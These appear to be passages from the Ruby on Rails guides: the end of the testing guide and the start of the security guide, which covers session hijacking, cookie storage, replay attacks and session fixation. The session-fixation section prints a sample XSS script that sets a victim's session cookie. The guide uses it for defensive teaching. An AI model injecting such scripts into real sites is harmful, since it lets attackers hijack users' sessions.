When performing requests, we will have ActionDispatch::Integration::RequestHelpers available for our use.

If we need to modify the session, or state of our integration test, take a look at ActionDispatch::Integration::Session to help.

7.2 Implementing an Integration Test

Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly.

We'll start by generating our integration test skeleton:

  $ bin/rails generate integration_test blog_flow

It should have created a test file placeholder for us. With the output of the previous command we should see:

        invoke  test_unit
      create    test/integration/blog_flow_test.rb

Now let's open that file and write our first assertion:

  require "test_helper"

class BlogFlowTest < ActionDispatch::IntegrationTest
  test "can see the welcome page" do
    get "/"
    assert_select "h1", "Welcome#index"
  end
end

We will take a look at assert_select to query the resulting HTML of a request in the "Testing Views" section below. It is used for testing the response of our request by asserting the presence of key HTML elements and their content.

When we visit our root path, we should see welcome/index.html.erb rendered for the view. So this assertion should pass.

7.2.1 Creating Articles Integration

How about testing our ability to create a new article in our blog and see the resulting article.

  test "can create an article" do
  get "/articles/new"
  assert_response :success

  post "/articles",
    params: { article: { title: "can create", body: "article successfully." } }
  assert_response :redirect
  follow_redirect!
  assert_response :success
  assert_select "p", "Title:\n  can create"
end

Let's break this test down so we can understand it.

We start by calling the :new action on our Articles controller. This response should be successful.

After this we make a post request to the :create action of our Articles controller:

  post "/articles",
  params: { article: { title: "can create", body: "article successfully." } }
assert_response :redirect
follow_redirect!

The two lines following the request are to handle the redirect we setup when creating a new article.

Don't forget to call follow_redirect! if you plan to make subsequent requests after a redirect is made.

Finally we can assert that our response was successful and our new article is readable on the page.

7.2.2 Taking It Further

We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editing comments. Integration tests are a great place to experiment with all kinds of use cases for our applications.

8 Functional Tests for Your Controllers

In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you are testing how your actions handle the requests and the expected result or response, in some cases an HTML view.

8.1 What to Include in Your Functional Tests

You should test for things such as:

was the web request successful?

was the user redirected to the right page?

was the user successfully authenticated?

was the appropriate message displayed to the user in the view?

was the correct information displayed in the response?

The easiest way to see functional tests in action is to generate a controller using the scaffold generator:

  $ bin/rails generate scaffold_controller article title:string body:text
...
create  app/controllers/articles_controller.rb
...
invoke  test_unit
create    test/controllers/articles_controller_test.rb
...

This will generate the controller code and tests for an Article resource. You can take a look at the file articles_controller_test.rb in the test/controllers directory.

If you already have a controller and just want to generate the test scaffold code for each of the seven default actions, you can use the following command:

  $ bin/rails generate test_unit:scaffold article
...
invoke  test_unit
create    test/controllers/articles_controller_test.rb
...

Let's take a look at one such test, test_should_get_index from the file articles_controller_test.rb.

  # articles_controller_test.rb
class ArticlesControllerTest < ActionDispatch::IntegrationTest
  test "should get index" do
    get articles_url
    assert_response :success
  end
end

In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that the right response body has been generated.

The get method kicks off the web request and populates the results into the @response. It can accept up to 6 arguments:

The URI of the controller action you are requesting. This can be in the form of a string or a route helper (e.g. articles_url).

params: option with a hash of request parameters to pass into the action (e.g. query string parameters or article variables).

headers: for setting the headers that will be passed with the request.

env: for customizing the request environment as needed.

xhr: whether the request is Ajax request or not. Can be set to true for marking the request as Ajax.

as: for encoding the request with different content type.

All of these keyword arguments are optional.

Example: Calling the :show action for the first Article, passing in an HTTP_REFERER header:

  get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" }

Another example: Calling the :update action for the last Article, passing in new text for the title in params, as an Ajax request:

  patch article_url(Article.last), params: { article: { title: "updated" } }, xhr: true

One more example: Calling the :create action to create a new article, passing in text for the title in params, as JSON request:

  post articles_path, params: { article: { title: "Ahoy!" } }, as: :json

If you try running test_should_create_article test from articles_controller_test.rb it will fail on account of the newly added model level validation and rightly so.

Let us modify test_should_create_article test in articles_controller_test.rb so that all our test pass:

  test "should create article" do
  assert_difference("Article.count") do
    post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }
  end

  assert_redirected_to article_path(Article.last)
end

Now you can try running all the tests and they should pass.

If you followed the steps in the Basic Authentication section, you'll need to add authorization to every request header to get all the tests passing:

  post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }, headers: { Authorization: ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret") }

8.2 Available Request Types for Functional Tests

If you're familiar with the HTTP protocol, you'll know that get is a type of request. There are 6 request types supported in Rails functional tests:

get

post

patch

put

head

delete

All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using get, post, put, and delete more often.

Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful.

8.3 Testing XHR (AJAX) Requests

To test AJAX requests, you can specify the xhr: true option to get, post, patch, put, and delete methods. For example:

  test "ajax request" do
  article = articles(:one)
  get article_url(article), xhr: true

  assert_equal "hello world", @response.body
  assert_equal "text/javascript", @response.media_type
end

8.4 The Three Hashes of the Apocalypse

After a request has been made and processed, you will have 3 Hash objects ready for use:

cookies - Any cookies that are set

flash - Any objects living in the flash

session - Any object living in session variables

As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example:

  flash["gordon"]               flash[:gordon]
session["shmession"]          session[:shmession]
cookies["are_good_for_u"]     cookies[:are_good_for_u]

8.5 Instance Variables Available

You also have access to three instance variables in your functional tests, after a request is made:

@controller - The controller processing the request

@request - The request object

@response - The response object

  class ArticlesControllerTest < ActionDispatch::IntegrationTest
  test "should get index" do
    get articles_url

    assert_equal "index", @controller.action_name
    assert_equal "application/x-www-form-urlencoded", @request.media_type
    assert_match "Articles", @response.body
  end
end

8.6 Setting Headers and CGI Variables

HTTP headers and CGI variables can be passed as headers:

  # setting an HTTP Header
get articles_url, headers: { "Content-Type": "text/plain" } # simulate the request with custom header

# setting a CGI variable
get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable

8.7 Testing flash Notices

If you remember from earlier, one of the Three Hashes of the Apocalypse was flash.

We want to add a flash message to our blog application whenever someone successfully creates a new Article.

Let's start by adding this assertion to our test_should_create_article test:

  test "should create article" do
  assert_difference("Article.count") do
    post articles_url, params: { article: { title: "Some title" } }
  end

  assert_redirected_to article_path(Article.last)
  assert_equal "Article was successfully created.", flash[:notice]
end

If we run our test now, we should see a failure:

  $ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 32266

# Running:

F

Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.

  1) Failure:
ArticlesControllerTest#test_should_create_article [/test/controllers/articles_controller_test.rb:16]:
--- expected
+++ actual
@@ -1 +1 @@
-"Article was successfully created."
+nil

1 runs, 4 assertions, 1 failures, 0 errors, 0 skips

Let's implement the flash message now in our controller. Our :create action should now look like this:

  def create
  @article = Article.new(article_params)

  if @article.save
    flash[:notice] = "Article was successfully created."
    redirect_to @article
  else
    render "new"
  end
end

Now if we run our tests, we should see it pass:

  $ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 18981

# Running:

.

Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.

1 runs, 4 assertions, 0 failures, 0 errors, 0 skips

8.8 Putting It Together

At this point our Articles controller tests the :index as well as :new and :create actions. What about dealing with existing data?

Let's write a test for the :show action:

  test "should show article" do
  article = articles(:one)
  get article_url(article)
  assert_response :success
end

Remember from our discussion earlier on fixtures, the articles() method will give us access to our Articles fixtures.

How about deleting an existing Article?

  test "should destroy article" do
  article = articles(:one)
  assert_difference("Article.count", -1) do
    delete article_url(article)
  end

  assert_redirected_to articles_path
end

We can also add a test for updating an existing Article.

  test "should update article" do
  article = articles(:one)

  patch article_url(article), params: { article: { title: "updated" } }

  assert_redirected_to article_path(article)
  # Reload association to fetch updated data and assert that title is updated.
  article.reload
  assert_equal "updated", article.title
end

Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the setup and teardown methods provided by ActiveSupport::Callbacks.

Our test should now look something as what follows. Disregard the other tests for now, we're leaving them out for brevity.

  require "test_helper"

class ArticlesControllerTest < ActionDispatch::IntegrationTest
  # called before every single test
  setup do
    @article = articles(:one)
  end

  # called after every single test
  teardown do
    # when controller is using cache it may be a good idea to reset it afterwards
    Rails.cache.clear
  end

  test "should show article" do
    # Reuse the @article instance variable from setup
    get article_url(@article)
    assert_response :success
  end

  test "should destroy article" do
    assert_difference("Article.count", -1) do
      delete article_url(@article)
    end

    assert_redirected_to articles_path
  end

  test "should update article" do
    patch article_url(@article), params: { article: { title: "updated" } }

    assert_redirected_to article_path(@article)
    # Reload association to fetch updated data and assert that title is updated.
    @article.reload
    assert_equal "updated", @article.title
  end
end

Similar to other callbacks in Rails, the setup and teardown methods can also be used by passing a block, lambda, or method name as a symbol to call.

8.9 Test Helpers

To avoid code duplication, you can add your own test helpers. Sign in helper can be a good example:

  # test/test_helper.rb

module SignInHelper
  def sign_in_as(user)
    post sign_in_url(email: user.email, password: user.password)
  end
end

class ActionDispatch::IntegrationTest
  include SignInHelper
end

  require "test_helper"

class ProfileControllerTest < ActionDispatch::IntegrationTest

  test "should show profile" do
    # helper is now reusable from any controller test case
    sign_in_as users(:david)

    get profile_url
    assert_response :success
  end
end

8.9.1 Using Separate Files

If you find your helpers are cluttering test_helper.rb, you can extract them into separate files. One good place to store them is test/lib or test/test_helpers.

  # test/test_helpers/multiple_assertions.rb
module MultipleAssertions
  def assert_multiple_of_forty_two(number)
    assert (number % 42 == 0), "expected #{number} to be a multiple of 42"
  end
end

These helpers can then be explicitly required as needed and included as needed

  require "test_helper"
require "test_helpers/multiple_assertions"

class NumberTest < ActiveSupport::TestCase
  include MultipleAssertions

  test "420 is a multiple of forty two" do
    assert_multiple_of_forty_two 420
  end
end

or they can continue to be included directly into the relevant parent classes

  # test/test_helper.rb
require "test_helpers/sign_in_helper"

class ActionDispatch::IntegrationTest
  include SignInHelper
end

8.9.2 Eagerly Requiring Helpers

You may find it convenient to eagerly require helpers in test_helper.rb so your test files have implicit access to them. This can be accomplished using globbing, as follows

  # test/test_helper.rb
Dir[Rails.root.join("test", "test_helpers", "**", "*.rb")].each { |file| require file }

This has the downside of increasing the boot-up time, as opposed to manually requiring only the necessary files in your individual tests.

9 Testing Routes

Like everything else in your Rails application, you can test your routes. Route tests reside in test/controllers/ or are part of controller tests.

If your application has complex routes, Rails provides a number of useful helpers to test them.

For more information on routing assertions available in Rails, see the API documentation for ActionDispatch::Assertions::RoutingAssertions.

10 Testing Views

Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. Like route tests, view tests reside in test/controllers/ or are part of controller tests. The assert_select method allows you to query HTML elements of the response by using a simple yet powerful syntax.

There are two forms of assert_select:

assert_select(selector, [equality], [message]) ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values.

assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of Nokogiri::XML::Node or Nokogiri::XML::NodeSet) and its descendants.

For example, you could verify the contents on the title element in your response with:

  assert_select "title", "Welcome to Rails Testing Guide"

You can also use nested assert_select blocks for deeper investigation.

In the following example, the inner assert_select for li.menu_item runs within the collection of elements selected by the outer block:

  assert_select "ul.navigation" do
  assert_select "li.menu_item"
end

A collection of selected elements may be iterated through so that assert_select may be called separately for each element.

For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass.

  assert_select "ol" do |elements|
  elements.each do |element|
    assert_select element, "li", 4
  end
end

assert_select "ol" do
  assert_select "li", 8
end

This assertion is quite powerful. For more advanced usage, refer to its documentation.

10.1 Additional View-Based Assertions

There are more assertions that are primarily used in testing views:

Assertion | Purpose
assert_select_email | Allows you to make assertions on the body of an e-mail.
assert_select_encoded | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
css_select(selector) or css_select(element, selector) | Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array.

Here's an example of using assert_select_email:

  assert_select_email do
  assert_select "small", "Please click the 'Unsubscribe' link if you want to opt-out."
end

11 Testing Helpers

A helper is just a simple module where you can define methods which are available in your views.

In order to test helpers, all you need to do is check that the output of the helper method matches what you'd expect. Tests related to the helpers are located under the test/helpers directory.

Given we have the following helper:

  module UsersHelper
  def link_to_user(user)
    link_to "#{user.first_name} #{user.last_name}", user
  end
end

We can test the output of this method like this:

  class UsersHelperTest < ActionView::TestCase
  test "should return the user's full name" do
    user = users(:david)

    assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
  end
end

Moreover, since the test class extends from ActionView::TestCase, you have access to Rails' helper methods such as link_to or pluralize.

12 Testing Your Mailers

Testing mailer classes requires some specific tools to do a thorough job.

12.1 Keeping the Postman in Check

Your mailer classes - like every other part of your Rails application - should be tested to ensure that they are working as expected.

The goals of testing your mailer classes are to ensure that:

emails are being processed (created and sent)

the email content is correct (subject, sender, body, etc)

the right emails are being sent at the right times

12.1.1 From All Sides

There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture). In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

12.2 Unit Testing

In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

12.2.1 Revenge of the Fixtures

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.

If you generated your mailer, the generator does not create stub fixtures for the mailers actions. You'll have to create those files yourself as described above.

12.2.2 The Basic Test Case

Here's a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.

  require "test_helper"

class UserMailerTest < ActionMailer::TestCase
  test "invite" do
    # Create the email and store it for further assertions
    email = UserMailer.create_invite("me@example.com",
                                     "friend@example.com", Time.now)

    # Send the email, then test that it got queued
    assert_emails 1 do
      email.deliver_now
    end

    # Test the body of the sent email contains what we expect it to
    assert_equal ["me@example.com"], email.from
    assert_equal ["friend@example.com"], email.to
    assert_equal "You have been invited by me@example.com", email.subject
    assert_equal read_fixture("invite").join, email.body.to_s
  end
end

In the test we create the email and store the returned object in the email variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. The helper read_fixture is used to read in the content from this file.

email.body.to_s is present when there's only one (HTML or text) part present. If the mailer provides both, you can test your fixture against specific parts with email.text_part.body.to_s or email.html_part.body.to_s.

Here's the content of the invite fixture:

  Hi friend@example.com,

You have been invited.

Cheers!

This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).

The ActionMailer::Base.deliveries array is only reset automatically in ActionMailer::TestCase and ActionDispatch::IntegrationTest tests. If you want to have a clean slate outside these test cases, you can reset it manually with: ActionMailer::Base.deliveries.clear

12.3 Functional and System Testing

Unit testing allows us to test the attributes of the email while functional and system testing allows us to test whether user interactions appropriately trigger the email to be delivered. For example, you can check that the invite friend operation is sending an email appropriately:

  # Integration Test
require "test_helper"

class UsersControllerTest < ActionDispatch::IntegrationTest
  test "invite friend" do
    # Asserts the difference in the ActionMailer::Base.deliveries
    assert_emails 1 do
      post invite_friend_url, params: { email: "friend@example.com" }
    end
  end
end

  # System Test
require "test_helper"

class UsersTest < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :headless_chrome

  test "inviting a friend" do
    visit invite_users_url
    fill_in "Email", with: "friend@example.com"
    assert_emails 1 do
      click_on "Invite"
    end
  end
end

The assert_emails method is not tied to a particular deliver method and will work with emails delivered with either the deliver_now or deliver_later method. If we explicitly want to assert that the email has been enqueued we can use the assert_enqueued_emails method. More information can be found in the documentation here.

13 Testing Jobs

Since your custom jobs can be queued at different levels inside your application, you'll need to test both the jobs themselves (their behavior when they get enqueued) and that other entities correctly enqueue them.

13.1 A Basic Test Case

By default, when you generate a job, an associated test will be generated as well under the test/jobs directory. Here's an example test with a billing job:

  require "test_helper"

class BillingJobTest < ActiveJob::TestCase
  test "that account is charged" do
    BillingJob.perform_now(account, product)
    assert account.reload.charged_for?(product)
  end
end

This test is pretty simple and only asserts that the job got the work done as expected.

By default, ActiveJob::TestCase will set the queue adapter to :test so that your jobs are performed inline. It will also ensure that all previously performed and enqueued jobs are cleared before any test run so you can safely assume that no jobs have already been executed in the scope of each test.

13.2 Custom Assertions and Testing Jobs inside Other Components

Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for ActiveJob::TestHelper.

It's a good practice to ensure that your jobs correctly get enqueued or performed wherever you invoke them (e.g. inside your controllers). This is precisely where the custom assertions provided by Active Job are pretty useful. For instance, within a model:

  require "test_helper"

class ProductTest < ActiveSupport::TestCase
  include ActiveJob::TestHelper

  test "billing job scheduling" do
    assert_enqueued_with(job: BillingJob) do
      product.charge(account)
    end
  end
end

14 Testing Action Cable

Since Action Cable is used at different levels inside your application, you'll need to test both the channels, connection classes themselves, and that other entities broadcast correct messages.

14.1 Connection Test Case

By default, when you generate new Rails application with Action Cable, a test for the base connection class (ApplicationCable::Connection) is generated as well under test/channels/application_cable directory.

Connection tests aim to check whether a connection's identifiers get assigned properly or that any improper connection requests are rejected. Here is an example:

  class ApplicationCable::ConnectionTest < ActionCable::Connection::TestCase
  test "connects with params" do
    # Simulate a connection opening by calling the `connect` method
    connect params: { user_id: 42 }

    # You can access the Connection object via `connection` in tests
    assert_equal connection.user_id, "42"
  end

  test "rejects connection without params" do
    # Use `assert_reject_connection` matcher to verify that
    # connection is rejected
    assert_reject_connection { connect }
  end
end

You can also specify request cookies the same way you do in integration tests:

  test "connects with cookies" do
  cookies.signed[:user_id] = "42"

  connect

  assert_equal connection.user_id, "42"
end

See the API documentation for ActionCable::Connection::TestCase for more information.

14.2 Channel Test Case

By default, when you generate a channel, an associated test will be generated as well under the test/channels directory. Here's an example test with a chat channel:

  require "test_helper"

class ChatChannelTest < ActionCable::Channel::TestCase
  test "subscribes and stream for room" do
    # Simulate a subscription creation by calling `subscribe`
    subscribe room: "15"

    # You can access the Channel object via `subscription` in tests
    assert subscription.confirmed?
    assert_has_stream "chat_15"
  end
end

This test is pretty simple and only asserts that the channel subscribes the connection to a particular stream.

You can also specify the underlying connection identifiers. Here's an example test with a web notifications channel:

  require "test_helper"

class WebNotificationsChannelTest < ActionCable::Channel::TestCase
  test "subscribes and stream for user" do
    stub_connection current_user: users(:john)

    subscribe

    assert_has_stream_for users(:john)
  end
end

See the API documentation for ActionCable::Channel::TestCase for more information.

14.3 Custom Assertions And Testing Broadcasts Inside Other Components

Action Cable ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for ActionCable::TestHelper.

It's a good practice to ensure that the correct message has been broadcasted inside other components (e.g. inside your controllers). This is precisely where the custom assertions provided by Action Cable are pretty useful. For instance, within a model:

  require "test_helper"

class ProductTest < ActionCable::TestCase
  test "broadcast status after charge" do
    assert_broadcast_on("products:#{product.id}", type: "charged") do
      product.charge(account)
    end
  end
end

If you want to test the broadcasting made with Channel.broadcast_to, you should use Channel.broadcasting_for to generate an underlying stream name:

  # app/jobs/chat_relay_job.rb
class ChatRelayJob < ApplicationJob
  def perform(room, message)
    ChatChannel.broadcast_to room, text: message
  end
end

  # test/jobs/chat_relay_job_test.rb
require "test_helper"

class ChatRelayJobTest < ActiveJob::TestCase
  include ActionCable::TestHelper

  test "broadcast message to room" do
    room = rooms(:all)

    assert_broadcast_on(ChatChannel.broadcasting_for(room), text: "Hi!") do
      ChatRelayJob.perform_now(room, "Hi!")
    end
  end
end

15 Testing Eager Loading

Normally, applications do not eager load in the development or test environments to speed things up. But they do in the production environment.

If some file in the project cannot be loaded for whatever reason, you better detect it before deploying to production, right?

15.1 Continuous Integration

If your project has CI in place, eager loading in CI is an easy way to ensure the application eager loads.

CIs typically set some environment variable to indicate the test suite is running there. For example, it could be CI:

  # config/environments/test.rb
config.eager_load = ENV["CI"].present?

Starting with Rails 7, newly generated applications are configured that way by default.

15.2 Bare Test Suites

If your project does not have continuous integration, you can still eager load in the test suite by calling Rails.application.eager_load!:

15.2.1 Minitest

  require "test_helper"

class ZeitwerkComplianceTest < ActiveSupport::TestCase
  test "eager loads all files without errors" do
    assert_nothing_raised { Rails.application.eager_load! }
  end
end

15.2.2 RSpec

  require "rails_helper"

RSpec.describe "Zeitwerk compliance" do
  it "eager loads all files without errors" do
    expect { Rails.application.eager_load! }.not_to raise_error
  end
end

16 Additional Testing Resources

16.1 Testing Time-Dependent Code

Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected.

Here is an example using the travel_to helper:

  # Lets say that a user is eligible for gifting a month after they register.
user = User.create(name: "Gaurish", activation_date: Date.new(2004, 10, 24))
assert_not user.applicable_for_gifting?
travel_to Date.new(2004, 11, 24) do
  assert_equal Date.new(2004, 10, 24), user.activation_date # inside the `travel_to` block `Date.current` is mocked
  assert user.applicable_for_gifting?
end
assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block.

Please see ActiveSupport::Testing::TimeHelpers API Documentation for in-depth information about the available time helpers.

Securing Rails Applications

This manual describes common security problems in web applications and how to avoid them with Rails.

After reading this guide, you will know:

All countermeasures that are highlighted.

The concept of sessions in Rails, what to put in there and popular attack methods.

How just visiting a site can be a security problem (with CSRF).

What you have to pay attention to when working with files or providing an administration interface.

How to manage users: Logging in and out and attack methods on all layers.

And the most popular injection attack methods.

Chapters

Introduction

Sessions

What are Sessions?

Session Hijacking

Session Storage

Rotating Encrypted and Signed Cookies Configurations

Replay Attacks for CookieStore Sessions

Session Fixation

Session Fixation - Countermeasures

Session Expiry

Cross-Site Request Forgery (CSRF)

CSRF Countermeasures

Redirection and Files

Redirection

File Uploads

Executable Code in File Uploads

File Downloads

Intranet and Admin Security

Additional Precautions

User Management

Brute-Forcing Accounts

Account Hijacking

CAPTCHAs

Logging

Regular Expressions

Privilege Escalation

Injection

Permitted Lists Versus Restricted Lists

SQL Injection

Cross-Site Scripting (XSS)

CSS Injection

Textile Injection

Ajax Injection

Command Line Injection

Header Injection

Unsafe Query Generation

HTTP Security Headers

Content-Security-Policy Header

Environmental Security

Custom Credentials

Dependency Management and CVEs

Additional Resources

1 Introduction

Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.

In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server, and the web application itself (and possibly other layers or applications).

The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.

The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment, or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.

In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs, and make updating and security checks a habit (check the Additional Resources chapter). It is done manually because that's how you find the nasty logical security problems.

2 Sessions

This chapter describes some particular attacks related to sessions, and security measures to protect your session data.

2.1 What are Sessions?

Sessions enable the application to maintain user-specific state, while users interact with the application. For example, sessions allow users to authenticate once and remain signed in for future requests.

Most applications need to keep track of state for users that interact with the application. This could be the contents of a shopping basket, or the user id of the currently logged in user. This kind of user-specific state can be stored in the session.

Rails provides a session object for each user that accesses the application. If the user already has an active session, Rails uses the existing session. Otherwise a new session is created.

Read more about sessions and how to use them in Action Controller Overview Guide.

2.2 Session Hijacking

Stealing a user's session ID lets an attacker use the web application in the victim's name.

Many web applications have an authentication system: a user provides a username and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session.

Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:

Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to provide a secure connection over SSL. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:

config.force_ssl = true

Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a log-out button in the web application, and make it prominent.

Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.

Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.

The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from 0.5%-10% of account balance, $0.5-$30 for credit card numbers ($20-$60 with full details), $0.1-$1.5 for identities (Name, SSN, and DOB), $20-$50 for retailer accounts, and $6-$10 for cloud service provider accounts, according to the Symantec Internet Security Threat Report (2017).

2.3 Session Storage

Rails uses ActionDispatch::Session::CookieStore as the default session storage.

Learn more about other session storages in Action Controller Overview Guide.

Rails CookieStore saves the session hash in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications and storage limitations of it:

Cookies have a size limit of 4 kB. Use cookies only for data which is relevant for the session.

Cookies are stored on the client-side. The client may preserve cookie contents even for expired cookies. The client may copy cookies to other machines. Avoid storing sensitive data in cookies.

Cookies are temporary by nature. The server can set expiration time for the cookie, but the client may delete the cookie and its contents before that. Persist all data that is of more permanent nature on the server side.

Session cookies do not invalidate themselves and can be maliciously reused. It may be a good idea to have your application invalidate old session cookies using a stored timestamp.

Rails encrypts cookies by default. The client cannot read or edit the contents of the cookie, without breaking encryption. If you take appropriate care of your secrets, you can consider your cookies to be generally secured.

The CookieStore uses the encrypted cookie jar to provide a secure, encrypted location to store session data. Cookie-based sessions thus provide both integrity as well as confidentiality to their contents. The encryption key, as well as the verification key used for signed cookies, is derived from the secret_key_base configuration value.

Secrets must be long and random. Use bin/rails secret to get new unique secrets.

Learn more about managing credentials later in this guide

It is also important to use different salt values for encrypted and signed cookies. Using the same value for different salt configuration values may lead to the same derived key being used for different security features which in turn may weaken the strength of the key.

In test and development applications get a secret_key_base derived from the app name. Other environments must use a random key present in config/credentials.yml.enc, shown here in its decrypted state:

  secret_key_base: 492f...

If your application's secrets may have been exposed, strongly consider changing them. Changing secret_key_base will expire currently active sessions.

2.4 Rotating Encrypted and Signed Cookies Configurations

Rotation is ideal for changing cookie configurations and ensuring old cookies aren't immediately invalid. Your users then have a chance to visit your site, get their cookie read with an old configuration and have it rewritten with the new change. The rotation can then be removed once you're comfortable enough users have had their chance to get their cookies upgraded.

It's possible to rotate the ciphers and digests used for encrypted and signed cookies.

For instance to change the digest used for signed cookies from SHA1 to SHA256, you would first assign the new configuration value:

  Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

Now add a rotation for the old SHA1 digest so existing cookies are seamlessly upgraded to the new SHA256 digest.

  Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

Then any written signed cookies will be digested with SHA256. Old cookies that were written with SHA1 can still be read, and if accessed will be written with the new digest so they're upgraded and won't be invalid when you remove the rotation.

Once users with SHA1 digested signed cookies should no longer have a chance to have their cookies rewritten, remove the rotation.

While you can set up as many rotations as you'd like it's not common to have many rotations going at any one time.

For more details on key rotation with encrypted and signed messages as well as the various options the rotate method accepts, please refer to the MessageEncryptor API and MessageVerifier API documentation.

2.5 Replay Attacks for CookieStore Sessions

Another sort of attack you have to be aware of when using CookieStore is the replay attack.

It works like this:

A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).

The user buys something.

The new adjusted credit value is stored in the session.

The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.

The user has their original credit back.

Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).

The best solution against it is not to store this kind of data in a session, but in the database. In this case store the credit in the database and the logged_in_user_id in the session.

2.6 Session Fixation

Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation.

This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works:

The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see number 1 and 2 in the image).

They maintain the session by accessing the web application periodically in order to keep an expiring session alive.

The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. Read more about XSS and injection later on.

